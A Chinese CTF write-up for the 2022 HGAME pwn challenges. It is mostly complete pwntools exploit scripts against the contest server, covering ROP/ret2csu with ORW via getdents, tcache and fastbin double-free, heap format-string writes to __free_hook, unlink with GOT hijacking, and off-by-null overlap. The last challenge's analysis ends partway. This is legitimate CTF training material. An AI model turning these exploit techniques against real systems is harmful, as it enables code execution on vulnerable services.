IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 2022 hgame pwn wp -> 正文阅读

[网络协议]2022 hgame pwn wp

2022 hgame pwn wp

本来早就写好了,但是由于复试毕设等等原因拖到今天才发
包括了绝大部分题目,除了算法题spfa和bpwn,剩下一些简单题懒得写了orz

Week 1

enter_the_pwn_land

每次起一个线程,线程函数有栈溢出。利用第一次fork leak

再打onegadget就完了 注意循环变量在栈上,覆盖的时候记得保存

onegadget需要rop一下,pop两个0才能通

# -*- coding:utf-8 -*-
from pwn import *                                                
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p  = process('/home/xyzmpv/桌面/to_give_out/a.out' )
p = remote('chuj.top', 36221) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()
#gdb.attach(p)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims 	    :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))





pop=0x000000000040135c



sl('a'*32)
libc_addr=u64((ru('\x7f')[-6:]).ljust(8,'\x00'))
print(hex(libc_addr))
libc_addr += 14582
onegadget=libc_addr+0xe6c7e

payload1='a'*44+p32(0x2c)+'a'*8+p64(pop)+p64(0)*4+p64(onegadget)

#gdb.attach(p,'b* 0x401240')



payload2='a'*40+'b'*8+'a'*8+p64(pop)+p64(0)*4+p64(onegadget)

payload=payload.ljust(4000,'b')

#payload='a'*40+'\x00'+'b'

sl(payload1)

p.interactive()



'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0xe6e73 execve("/bin/sh", r10, r12)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [r12] == NULL || r12 == NULL

0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

'''

enter_the_evil_pwn_land

跟第一题基本类似,加了canary检查。虽然有puts能带出来canary但会崩

做法是直接覆盖TLS结构体里面的canary 剩下一样。

payload为上文payload2。

oldfashion_orw

先放exp,感受一下这道诡异的题目。

# -*- coding:utf-8 -*-
from pwn import *                                                
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p  = process( '/home/xyzmpv/桌面/orw/vuln')
p = remote('chuj.top', 42614) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
e = ELF('/home/xyzmpv/桌面/orw/vuln')
libc=ELF('/home/xyzmpv/桌面/orw/libc-2.31.so')
#gdb.attach(p)

write_got = e.got['write']
read_got = e.got['read']
main_addr = e.symbols['main']
bss_base = e.bss()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims         :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))



def csu(rbx, rbp, r12, r13, r14, r15, last,remain=''):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r15 should be the function we want to call
    # rdi=edi=r12d
    # rsi=r13
    # rdx=r14
    # rbp==rbx+1
    csu_end_addr=0x40143a
    csu_front_addr=0x401420
    payload = 'a' * 0x30 + p64(0xdeadbeef)
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    payload += remain
    p.send(payload)
    sleep(1)

ru('size?\n')
sl('-1')
ru('content?\n')
csu(0, 1, 1 , write_got, 20 , write_got, main_addr)
ru('done!\n')
write_addr=ru('\x7f')
write_addr=u64(write_addr.ljust(8,'\x00'))
libc_addr=write_addr-1118672
#print(hex(libc_addr))



ru('size?\n')
sl('-1')
ru('content?\n')
csu(0, 1, 0 , 0x404090 , 0x360 , read_got , main_addr)
ru('done!\n')

syscall=libc_addr+0x0000000000066229
rax=libc_addr+0x000000000004a550
rdi=libc_addr+0x0000000000026b72
rsi=libc_addr+0x0000000000027529
rdx_r12=libc_addr+0x000000000011c371
rcx=libc_addr+0x000000000009f822
mov_rax=libc_addr+0x000000000005e7a2
#mov rdi, rax; cmp rdx, rcx; jae 0x5e78c; mov rax, r8; ret;

opendir=libc_addr+libc.symbols['opendir']
readdir=libc_addr+libc.symbols['readdir']



payload='./'
payload=payload.ljust(0x20,'\x00')
payload+=p64(0)
#open('/home/ctf/,0,0')
payload+=p64(rdi)
payload+=p64(0x404090)
payload+=p64(rsi)
payload+=p64(0x10000)#0x10000
payload+=p64(rax)
payload+=p64(2)
payload+=p64(rdx_r12)
payload+=p64(0)
payload+=p64(0)
payload+=p64(rcx)
payload+=p64(0)
payload+=p64(syscall)
#read(fd,0x404090,0x40)
payload+=p64(rdi)
payload+=p64(3)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x400)
payload+=p64(0)
#payload+=p64(rcx)
#payload+=p64(0x7fffffff)
payload+=p64(rax)
payload+=p64(78)#78
payload+=p64(syscall)
#write(1,0x404090,0x40)
payload+=p64(rdi)
payload+=p64(1)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x100)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(1)
payload+=p64(syscall)
payload+=p64(main_addr)
se(payload)

leave_ret=0x00000000004012c8

payload='a'*0x30+p64(0x4040b0)+p64(leave_ret)
#csu(0, 1, 0x404090 , 0 , 0 , fopen_addr, main_addr)

ru('size?\n')
sl('-1')
ru('content?\n')
sl(payload)

ru('flag')
flag=rc(20)
flag='flag'+flag
print(flag)

ru('size?\n')
sl('-1')
ru('content?\n')
csu(0, 1, 0 , 0x404390 , 0x360 , read_got , main_addr)
ru('done!\n')

#flag='flag698bd90f76ccac72d649'
payload=flag.ljust(0x30,'\x00')
payload+=p64(0)
#open('/flag,0,0')
payload+=p64(rdi)
payload+=p64(0x404390)
payload+=p64(rsi)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(2)
payload+=p64(syscall)
#read(fd,0x404090,0x40)
payload+=p64(rdi)
payload+=p64(4)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x80)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(0)
payload+=p64(syscall)
#write(1,0x404090,0x40)
payload+=p64(rdi)
payload+=p64(1)
payload+=p64(rsi)
payload+=p64(0x404390)
payload+=p64(rdx_r12)
payload+=p64(0x80)
payload+=p64(0)
payload+=p64(rax)
payload+=p64(1)
payload+=p64(syscall)
se(payload)

payload='a'*0x30+p64(0x4043c0)+p64(leave_ret)
#csu(0, 1, 0x404090 , 0 , 0 , fopen_addr, main_addr)
#gdb.attach(p,'b* 0x00000000004012c8')
ru('size?\n')
sl('-1')
ru('content?\n')
sl(payload)
p.interactive()

exp 187行,flag长度有84个字节 是我见过最长的
题目提示了是orw,检查了一下沙盒是这个样子的:
在这里插入图片描述
限制了架构,没办法换32位绕。限制了openat但是可以用open绕。

程序本身有漏洞,nbytes是size_t类型,但比较的时候却转换成了int 64

可以输入负数达到溢出条件
在这里插入图片描述
没有开canary,直接溢出。这里选择了用ret2csu来调用函数(因为可以控制所有寄存器防止出问题),不过这里也需要小小修改一下,因为汇编与ctfwiki的模板不完全一致

leak完了就得想办法orw。题目给了start.sh

#!/bin/bash

rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./v

也就是把题目目录下的flag文件重命名了,后面加了20个随机化字符。
一开始尝试直接读/flag,不行,问了一下知道没有权限。就开始自闭了。

查了半天,想着用opendir和readdir函数,发现被ban了。readdir系统调用在x64下还不存在。自闭+2

破罐子破摔灵机一动把open的参数写成了目录,调试完发现是可以正常打开的。但是read报错。自闭+3

实在没有办法冒出来了一个鬼主意去看man 2 open,尝试通过改变open的参数来实现目录读写。结果还是不行。自闭+4 最后跑去看了一下man 2 readdir,这次没有自闭!!man手册引用了一个奇怪的系统调用:(顺便说一下,man 2 里面的是系统调用,man 3 里面的是系统函数,二者性质不同)
在这里插入图片描述
getdents??? man 2 getdents看一下
在这里插入图片描述
大致看了一下,可以通过fd文件描述符将目录信息以结构体形式写入指定位置?bingo!

于是思路就清晰了:open完当前flag目录后通过getdents在指定位置写入目录信息,再

write出去,(这一段通过ret2csu布置ropchain与栈迁移实现,控制返回地址为main)获取到目录信息之后Orw就可以了。

几个注意事项:

1.文件描述符需要手动指定,打开目录是0x3,打开flag应该是0x4。

2.getdents的内容较多,不要写在ropchain存储的位置否则会覆盖掉未执行的ropchain

3.open当前目录只能用’./’,·不能用绝对路径,怀疑是chroot或者脚本执行目录的问题

4.用ropper去查libc里面的gadget否则非常慢

这都是什么鬼东西啊啊啊啊啊啊啊啊你不要过来啊


Week 2

oldfashion_note

太好玩了2333

堆入门级别题目 libc是2.31,也就是有tcache有key。不能直接double free

题目给了add、show、delete三个函数,delete完没有置0,可以UAF。

add大小最大256==0x100,过了fastbin上限,此外也没有设定循环变量,可以无限加note,只要index在0-16即可。

做法是用unsorted bins leak再用df+fake fastbin chunk 攻击malloc_hook,打onegadget

先申请8个0x100堆块填满tcache,再申请一个0x60(防止free的unsorted bin被top chunk合并)

free前8个,第8个放入unsorted bins,show(7)拿到libc地址。

接下来再申请8个0x60的chunk,挨个free完再free(8),也就是一开始申请的0x60 chunk

这样子最后两个(chunk[7] chunk[8])就会进入fastbin。

再free chunk[7]就完成了df(chunk [8]最后释放,在头结点处过不了检查)

接下来就是典型的fastbin attack,不过要注意先得申请7个0x60的chunk 耗尽之前free的tcache chunk,再申请就是fastbin了

剩下的攻击流程参见malloc hook attack以及realloc调整栈帧

需要特别注意的是攻击完后,再触发malloc时size必须为0,否则即使经过realloc调整也无法满足任一onegadget的条件。(这里实际上是控制了栈变量以满足onegadget的条件)realloc的合理偏移可以通过本地爆破得到。

打本地和远程也需要注意添加sleep,否则交互太快易传递错误参数。

exp如下:

# -*- coding:utf-8 -*-
from pwn import * 
import time                                               
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p  = process('/media/sf_Desktop/fashion note/note')
p = remote('chuj.top',51337) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()
#gdb.attach(p)

libc = ELF('./libc-2.31.so')
#local_file = 
#libc  = 
#elf = ELF(local_file)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims       :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))



def new(index,size,content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('index?')
    p.sendline(str(index))
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil('content?')
    p.send(content)    

def delete(i):
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('index?')
    p.sendline(str(i))

def show(i):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('index?')
    p.sendline(str(i))

def getsha256(s):
    sha256=hashlib.sha256()
    sha256.update(str(s).encode('utf-8'))
    ans=sha256.hexdigest()
    return ans

def hashburp(s):
  sha_ans=s
  ss = string.ascii_letters 
  flag = False
  for i in ss:
      if (flag):
    break
      for j in ss:
    if (flag):
        break
    for k in ss:
        if (flag):
            break
        for l in ss:
            xxxx = i + j + k + l
            if (sha_ans == getsha256(xxxx)):
                print(xxxx)
                return xxxx
ru('sha256(????) == ')
sha256=rc(64)
#print(len(sha256))
sha_str=hashburp(sha256)
sa('input your ????> ',sha_str)

#p  = process('/media/sf_Desktop/fashion note/note')
for i in range(8):
  new(i,0x100,'abcd')
  time.sleep(0.2)

new(8,0x60,'aaaa')

for i in range(8):
  delete(i)
  time.sleep(0.2)
show(7)
ru('>> ')
libc_addr=u64(ru('\x7f').ljust(8,'\x00'))-2014176
print(hex(libc_addr))

malloc_hook=libc_addr+2014064
realloc = libc_addr + libc.sym['realloc']
onegadget=libc_addr+0xe6c84

#gdb.attach(p)#,'b* $rebase(0x1370)')
for i in range(8):
  new(i,0x60,'aaaa')
  time.sleep(0.2)
for i in range(8):
  delete(i)
  time.sleep(0.2)

delete(8)
time.sleep(0.2)
delete(7)
time.sleep(0.2)

for i in range(7):
  new(10,0x60,'aaaa')
  time.sleep(0.2)
new(0,0x60,p64(malloc_hook-0x23))
time.sleep(0.2)
new(0,0x60,'deadbeef')
time.sleep(0.2)
new(0,0x60,'deadbeef')
time.sleep(0.2)
new(0,0x60,'a'*27+p64(libc_addr+0xe6c81)+p64(realloc+10))
time.sleep(0.2)

p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('index?')
p.sendline(str(0))
p.recvuntil('size?')
p.sendline(str(0))
p.interactive()

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0xe6e73 execve("/bin/sh", r10, r12)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [r12] == NULL || r12 == NULL

0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL
'''

echo

更好玩了

格式化字符串题,但是比较麻烦因为格式化字符串在堆上

主要内容就是这么个vuln函数,输入长度,realloc,如果长度不为0就写入,循环开头进行输出

注意ptr是printf的第一个参数,且内容可控,所以可以打格式化字符串。
在这里插入图片描述
麻烦的点是这是64位程序,而且格式化字符串在堆上,所以我们无法直接利用%n进行任意地址写。这种情况下只能去看printf时的栈和寄存器。图大概是这样的。

寄存器
在这里插入图片描述

在这里插入图片描述
特别注意一下我画线的三个地址。不妨设其内容为p1、p2、p3。

一开始,p1->&p2->(&p3)-8,而p3指向libc内

于是,我们就可以通过p1改写p2,令p2->&p3,再用p2改写p3,从而获得指向libc内任意位置的指针。(具体实现参加%n格式化字符串)

把这个指针指向__free_hook,再写入onegadget,再一次realloc时使长度为0,此时realloc会调用free,触发onegadget拿到shell。

这一题难点在通过格式化字符串控制多维指针数组,进行指针移动。

exp:

# -*- coding:utf-8 -*-
from pwn import *  
import time                                              
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p  = process('/media/sf_Desktop/echo/echo')
p = remote('chuj.top',52004) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()
#gdb.attach(p,'''b* $rebase(0x129f)
#b* $rebase(0x1257)
#''')

#local_file = 
#libc  = 
#elf = ELF(local_file)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims         :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))

def leak():
    sla('>> ','20')
    se('%5$p%6$p')
    libc_base=ru('y')[:-1]
    stack_base=libc_base[-14:]
    libc_base=libc_base[:14]    
    print(libc_base)
    print(stack_base)
    libc_base=int(libc_base,16)-30024
    return libc_base,stack_base

def exp(s):
    sla('>> ','20')
    sl(s)
    time.sleep(0.5) 

def getsha256(s):
    sha256=hashlib.sha256()
    sha256.update(str(s).encode('utf-8'))
    ans=sha256.hexdigest()
    return ans

def hashburp(s):
    sha_ans=s
    ss = string.ascii_letters 
    flag = False
    for i in ss:
        if (flag):
        break
        for j in ss:
        if (flag):
            break
        for k in ss:
            if (flag):
                break
            for l in ss:
                xxxx = i + j + k + l
                if (sha_ans == getsha256(xxxx)):
                    print(xxxx)
                    return xxxx

ru('sha256(????) == ')
sha256=rc(64)
#print(len(sha256))
sha_str=hashburp(sha256)
sa('input your ????> ',sha_str)

libc_base,stack_base=leak()
print(hex(libc_base))
print(stack_base)
free_hook=libc_base+2026280
onegadget=libc_base+0xe6c7e

exp('%{}c%6$hhn'.format(int(stack_base[-2:],16)+24))
#修改p2的最后一字节使p2->&p3
exp('%{}c%10$hn'.format(u32(p64(free_hook)[:2].ljust(4,'\x00'))))
#修改p3的最后2字节
exp('%{}c%6$hhn'.format(int(stack_base[-2:],16)+26))
#修改p2使其指向(&p3)+2
exp('%{}c%10$hhn'.format(u32(p64(free_hook)[2:3].ljust(4,'\x00'))))
#继续修改p3使p3->(&__free_hook)
exp('%{}c%13$hn'.format(u32(p64(onegadget)[:2].ljust(4,'\x00'))))
#修改free_hook低2字节
#剩下的同理,通过多维指针移动p3,最后修改free_hook
exp('%{}c%6$hhn'.format(int(stack_base[-2:],16)+24))
exp('%{}c%10$hn'.format(u32(p64(free_hook)[:2].ljust(4,'\x00'))+2))
exp('%{}c%13$hn'.format(u32(p64(onegadget)[2:4].ljust(4,'\x00'))))
exp('%{}c%10$hn'.format(u32(p64(free_hook)[:2].ljust(4,'\x00'))+4))
exp('%{}c%13$hn'.format(u32(p64(onegadget)[4:6].ljust(4,'\x00'))))
p.interactive()

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''


Week 3

changeable_note

libc2.23 没有开PIE有堆溢出 没有show

思路是直接打unlink,拿到指针之后去hijack got,改free为puts。leak完再恢复got,改写free_hook

至于什么时候写完,看时间了。

就是这个思路 写完了(大佬们1h调出来确实快啊,我太懒了www)

这里用了一个小技巧:hijack got可以把got改成未解析时其他函数的值,这样就可以无伤替换函数了。还有,在构造unlink时取下的chunk被认为是free chunk,指针与allocate chunk不同,需要额外构造一下fake chunk。

exp如下:

# -*- coding:utf-8 -*-
from pwn import *     
import string
import hashlib                                           
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p  = process('/media/sf_Desktop/changeable_note/note')
p = remote('chuj.top',52487) #50125
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
e = ELF('/media/sf_Desktop/changeable_note/note')

#puts_addr=e.plt['puts']

#gdb.attach(p,'b main')

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims         :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))

def new(i,j,k):
    p.recvuntil('>>')
    p.send('1')
    p.recvuntil('index?')
    p.sendline(str(i))
    p.recvuntil('size?')
    p.sendline(str(j))
    p.recvuntil('content?')
    p.send(k)

def delete(i):
    p.recvuntil('>>')
    p.send('3')
    p.recvuntil('index?')
    p.sendline(str(i))

def edit(i,c):
    p.recvuntil('>>')
    p.send('2')
    p.recvuntil('index?')
    p.sendline(str(i))
    p.sendline(c)

def getsha256(s):
    sha256=hashlib.sha256()
    sha256.update(str(s).encode('utf-8'))
    ans=sha256.hexdigest()
    return ans

def hashburp(s):
    sha_ans=s
    ss = string.ascii_letters 
    flag = False
    for i in ss:
        if (flag):
        break
        for j in ss:
        if (flag):
            break
        for k in ss:
            if (flag):
                break
            for l in ss:
                xxxx = i + j + k + l
                if (sha_ans == getsha256(xxxx)):
                    print(xxxx)
                    return xxxx
def check():
    ru('sha256(????) == ')
    sha256=rc(64)
    #print(len(sha256))
    sha_str=hashburp(sha256)
    sa('input your ????> ',sha_str)

check()
new(0,256,'aaaa')
new(1,256,'bbbb')
new(2,16,'cccc')

edit(0,flat([0,0x100,0x4040c0-0x18,0x4040c0-0x10,'a'*0xe0,0x100,0x110]))
#堆溢出,覆盖next size与next inuse,构造fd size与fake chunk
delete(1)
#触发unlink

edit(0,'a'*0x18+p64(0x404018)+p64(0x404020))
#指针已被改写,直接覆盖自身,顺便为leak提供指针
edit(0,'\x40\x10\x40\x00\x00')
#改写free的got,注意控制好内容,因为结尾有'\x00'截断
delete(1)
#实际上是puts(0x404020)
libc_addr=u64(ru('\x7f')[4:].ljust(8,'\x00'))-456352
#print(hex(libc_addr))
#delete(2)
one=libc_addr+0xf1247
edit(0,flat(0x401030,0x401040,0x401050,0x401060,0x401070,0x401080,0x401090,0x4010a0,0x4010b0,p64(one)[:-2]))
#覆盖exit_got为onegadget 手动输入4触发。(因为exit参数为0,易构造onegadget条件)
p.interactive()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

elder_note

板子题,uaf leak+fastbin df直接拿shell,懒得写了

sized_note

libc2.27,off by null 开了PIE full relo,考虑chunk overlap

程序本身加了花,直接读汇编就行了,不影响。

unsorted bin超量前向合并,overlap完了再控制申请的size使unsorted bin头落在可输出范围,leak完了改tcache hijack hook完事

一个小技巧是先搞出free unsorted chunk,再通过改写fd size,利用free chunk的完好指针完成unlink,从而实现free完成后的超量合并

exp写完了,在调onegadget 过了

还是板子题

exp如下:

# -*- coding:utf-8 -*-
from pwn import *    
import time                                            
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p  = process('/media/sf_Desktop/to_give_out/note')
p = remote('chuj.top', 52851) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p,'b realloc')

#local_file = 
#libc  = 
#elf = ELF(local_file)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims         :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))

def new(i,j,k=''):
    p.recvuntil('>>')
    p.send('1')
    p.recvuntil('index?')
    p.sendline(str(i))
    p.recvuntil('size?')
    p.sendline(str(j))
    p.recvuntil('content?')
    p.send(k)

def delete(i):
    p.recvuntil('>>')
    p.send('3')
    p.recvuntil('index?')
    p.sendline(str(i))

def show(i):
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('index?')
    p.sendline(str(i))

def edit(i,c):
    p.recvuntil('>>')
    p.send('4')
    p.recvuntil('index?')
    p.sendline(str(i))
    p.sendline(c)

def getsha256(s):
    sha256=hashlib.sha256()
    sha256.update(str(s).encode('utf-8'))
    ans=sha256.hexdigest()
    return ans

def hashburp(s):
    sha_ans=s
    ss = string.ascii_letters 
    flag = False
    for i in ss:
        if (flag):
        break
        for j in ss:
        if (flag):
            break
        for k in ss:
            if (flag):
                break
            for l in ss:
                xxxx = i + j + k + l
                if (sha_ans == getsha256(xxxx)):
                    print(xxxx)
                    return xxxx

def check():
    ru('sha256(????) == ')
    sha256=rc(64)
    #print(len(sha256))
    sha_str=hashburp(sha256)
    sa('input your ????> ',sha_str)
check()
for i in range(7):
    new(i,248,'aaaa')
    time.sleep(0.2)
new(7,16,'cccc') #7
time.sleep(0.2)
new(8,248,'dddd') #8
time.sleep(0.2)
new(13,16,'iiii') #13
time.sleep(0.2)
new(14,16,'jjjj') #14
time.sleep(0.2)
new(9,248,'eeee') #9
time.sleep(0.2)
new(10,248,'ffff') #10
time.sleep(0.2)
new(11,16,'gggg')
for i in range(7):
    delete(i)
    time.sleep(0.2)
delete(8)#先free搞到完好的free chunk,为后面合并时unlink做准备
edit(9,'a'*240+p64(0x240))
delete(10)#超量合并
for i in range(7):
    new(i,248,'aaaa')
    time.sleep(0.2)
new(12,248,'hhhh')
show(13)
ru('>> ')
libc_addr=u64(ru('\x7f').ljust(8,'\x00'))-4111520
info('libc',libc_addr)

realloc_hook=libc_addr+4111400
onegadget=libc_addr+0x4f432
realloc=libc_addr+e.symbols['__libc_realloc']

delete(14)
new(14,48,'a'*24+p64(0x21)+p64(realloc_hook)[:-2])
new(14,16,'onegadget')
new(14,16,p64(onegadget)+p64(realloc+8))

p.recvuntil('>>')
p.send('1')
p.recvuntil('index?')
p.sendline('1')
p.recvuntil('size?')
p.sendline('1')
p.sendline(' ')
p.interactive()

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''


Week 4

vector

w4了,完结撒花

这是个re+pwn的题目 难点在于原题是用C++写的,还大量使用了vector标签,所以看起来很恶心(当然你不需要都看,看不懂手调就完了)

传统菜单题格式,给了add、edit、show、delete几个常规选项,其中edit是废的。另外还给了一个奇怪的move操作,这也是漏洞的主要来源。

C++编译导致逆向较为困难,可以仅逆向那些容易逆向的函数,大概有3-5个,主要是移动指针、取指针指向的内容、指针自增等等操作。

delete和show函数本身较为传统,在此不进行分析。

add函数本身会在一开始要求提供index,再根据index对堆块和note数组进行操作。

以下部分为调试得到的结果,因为逆向过程比直接调试麻烦的多


程序堆块结构可以分为一个管理块(manage chunk)和剩下的用户申请的堆块。

管理块会根据你给出的index确定自身大小与用户块地址存放的位置。add中输入的index就是用户块地址在管理块内的偏移(单位为字长,8字节),管理块会根据index确定自身大小,确保存放的地址不会越界。管理块大小随最大的index大小按0x20 0x30 0x50 0x70 0x90 0xd0顺序递增,但是只会扩大不会缩小,扩大是通过释放原管理块、申请合适大小的新管理块、迁移内容到新管理块完成的。程序会在elf bss段的note处存放三个字节,第一个字(8字节)为管理块的地址,第二个字为加密后的目前最大index(加密方式为管理块地址左移3位,再加上index+1)。第三个字与第二个相同。

add时,通过index的输入就可以控制管理块的大小,若当前管理块大小不满足index,则当前管理块会被释放,继续malloc合适大小的堆块做管理块。


因此第一个想法是通过堆块混杂将管理块分配到原unsorted bins块处,通过残留的libc地址进行leak与攻击。但测试后发现分配完后堆块内容置0,不可行。

思路转到奇怪的move函数 move函数的功能通过逆向与调试,大致如下:


遍历管理块内存放的堆指针,让你确认是否要迁移。如果确认迁移,则要求输入index,在现有管理块下该index所对应的堆内存处必须为空,否则不进行迁移。

若进行迁移,则先检查index是否越界,若越界则如上所述扩展管理块,将当前管理块的index位写入进行迁移的堆块的地址,再将原管理块中的堆块地址置0。

